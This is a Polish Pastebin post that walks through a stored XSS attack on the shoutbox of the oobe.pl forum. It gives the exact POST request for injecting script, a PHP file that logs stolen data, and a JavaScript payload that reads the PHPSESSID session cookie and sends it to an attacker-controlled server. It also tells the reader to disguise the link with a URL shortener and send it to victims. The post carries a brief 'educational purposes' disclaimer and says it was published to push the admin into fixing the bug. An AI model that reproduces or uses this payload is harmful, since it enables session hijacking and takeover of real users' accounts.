Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- XSS OOBE.pl
- by robercik101 :P
- Chciałbym przedstawić tu koncepcję ataku XSS na użytkowników forum oobe.pl, głównie na ShoutBox,
- który został usunięty ze strony po tym jak odkryłem w nim błąd typu Cross Site Scripting (
- (http://www.oobe.pl/park/index.php?showtopic=7637), jednak dalej jest on zagrożeniem, za pomocą niego można
- wstrzyknąć kod JS, który przechwyci ciasteczko sesyjne i wyśle je na podany przez nas adres.
- Przedstawiona tu metoda została zamieszczona tylko i wyłącznie w celach edukacyjnych i używasz jej TYLKO NA WŁASNĄ
- ODPOWIEDZIALNOŚĆ ;)
- Została tu ona zamieszczona, aby pokazać jak źle jest ona zabezpieczona ;)
- Potrzebne narzędzia: HackBar dla FireFox
- Po zalogowaniu się na forum, w HackBarze zaznaczamy "Enable Post Data" i "Enable Referrer", w pierwsze pole
- wpisujemy:
- http://www.oobe.pl/park/index.php?autocom=portal&do=sb_post&xml=1
- w drugie:
- Post=tu_nasza_tresc&sb_id=&
- tu_nasza_tresc to nasz text do zapostowania ;)
- Często wymaga on zakodowania w formacie URL, wtedy zaznaczamy tu_nasza_tresc, wchodzimy w menu "Encoding" i klikamy
- URLEncode
- W trzecie pole wpisujemy:
- http://www.oobe.pl/park/index.php
- I wciskamy przycisk "Execute" ;)
- Powinna się pojawić biała strona z napisem "ok" w rogu
- Teraz można sprawdzić czy nasz tekst się zapostował wchodząc na
- http://www.oobe.pl/park/index.php?autocom=portal&do=shoutbox
- Link powyżej można wysłać w czystej formie lub skracać na tinyurl.com i wysłać ofierze u której chcemy aby nasz
- skrypt się uruchomił ;)
- A tu skrypt przechwytujący ciasteczko sesyjne, składa się on z dwóch elementów, pliku save.php który wrzucamy na serwer
- i który zapisuje ciasteczko a drugi przechwytuje je i wysyła je do tego skryptu do poprzedniego (save.php),
- prawda, że proste? :P
- save.php
- == CUT HERE ==
- <?
- $fp = fopen("data.txt","a");
- foreach($_POST as $A=>$B){
- fwrite($fp,$A."=".$B."\n");
- }
- fclose($fp);
- ?>
- == CUT HERE ==
- To wrzucamy do shoutboxa jako tu_nasza_tresc (trzeba zakodować!,
- jak wrzucasz kod bezpośredni nie zapomnij o tagach <script> i </script> przed i po kodzie
- ) albo jako plik js na zdalnym serwerze i dołączyć
- go za pomocą tagu <script> z parametrem src ;) (lepiej wybrać to drugie!)
- == CUT HERE ==
- //Funkcja pobierające cookie
- function getCookie(cname)
- {
- var name = cname + "=";
- var ca = document.cookie.split(';');
- for(var i=0; i<ca.length; i++)
- {
- var c = ca[i].trim();
- if (c.indexOf(name)==0) return c.substring(name.length,c.length);
- }
- return "";
- }
- var xml;
- if (window.XMLHttpRequest){
- xml=new XMLHttpRequest();
- }
- else
- {
- xml=new ActiveXObject("Microsoft.XMLHTTP");
- }
- xml.open("POST","http://adres_twojej_strony/save.php",true);
- xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
- xml.send("sid="+getCookie("PHPSESSID"));
- == CUT HERE ==
- Pozdrawiam i życzę szczęśliwego roku 2014 ;)
- robercik101 ;)
- Aktualizacja:
- Błąd dalej tam tkwi, więc upubliczniam ten tekst, może to sprawi że admin to poprawi :)
Add Comment
Please, Sign In to add comment